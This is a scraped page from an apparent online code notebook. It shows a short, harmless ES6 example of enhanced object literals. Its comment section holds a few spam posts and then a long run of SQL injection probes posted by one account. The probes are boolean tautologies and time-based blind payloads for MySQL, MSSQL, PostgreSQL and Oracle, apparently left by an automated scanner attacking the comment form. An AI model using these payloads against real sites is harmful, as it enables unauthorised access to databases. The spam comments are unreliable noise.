Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

ES6 Enhanced Object Literals

node v0.12.18
version: 2.0.0
endpointsharetweet
In ES6 object literals have a number of shorthands. You can computer property names right in the declaration, define methods with a shorter syntax, and have more convinient declarations when the key matches the value:
function person(name, age, isDogLover) { return { // Set the prototype, in this case null to clear it out. __proto__: null, // Shorthand for "name: name" name, // Shorthand for "age: age" age, // Methods toString() { return "A person of age " + this.age; }, // Computed (dynamic) property names [ isDogLover ? "dog" : "cat" ]: { name: isDogLover ? "Spot" : "Tails" } } }; person("Tom", 10, true);
Loading…

29 comments

  • posted 4 years ago by 5fcbb66ef90325001960186e
    hybrid cars are ...
  • posted 3 years ago by paperluigis
    duck
  • posted 7 months ago by 66354ae006f96200082296aa
    EVAN HERE ENHANCE MALE MUSCLES AND P
  • posted 5 months ago by hajizade1992
    hello
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    -1 OR 2+58-58-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1 OR 2+456-456-1=0+0+0+1
  • posted 3 days ago by xsjybldb
    -1' OR 2+819-819-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1' OR 2+425-425-1=0+0+0+1 or 'vgIIzstP'='
  • posted 3 days ago by xsjybldb
    -1" OR 2+476-476-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 3 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 3 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 3 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 3 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    LwMSj0hV'; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -5 OR 940=(SELECT 940 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -5) OR 324=(SELECT 324 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -1)) OR 854=(SELECT 854 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    2Y2YyfDV' OR 787=(SELECT 787 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    QCfjIDey') OR 411=(SELECT 411 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    jERPI5vO')) OR 647=(SELECT 647 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 3 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 3 days ago by xsjybldb
    1'"
  • posted 3 days ago by xsjybldb
    @@wQ6PW

sign in to comment